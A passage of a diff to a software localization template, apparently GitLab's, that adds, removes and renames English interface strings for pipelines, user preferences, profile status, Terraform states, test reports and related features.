msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
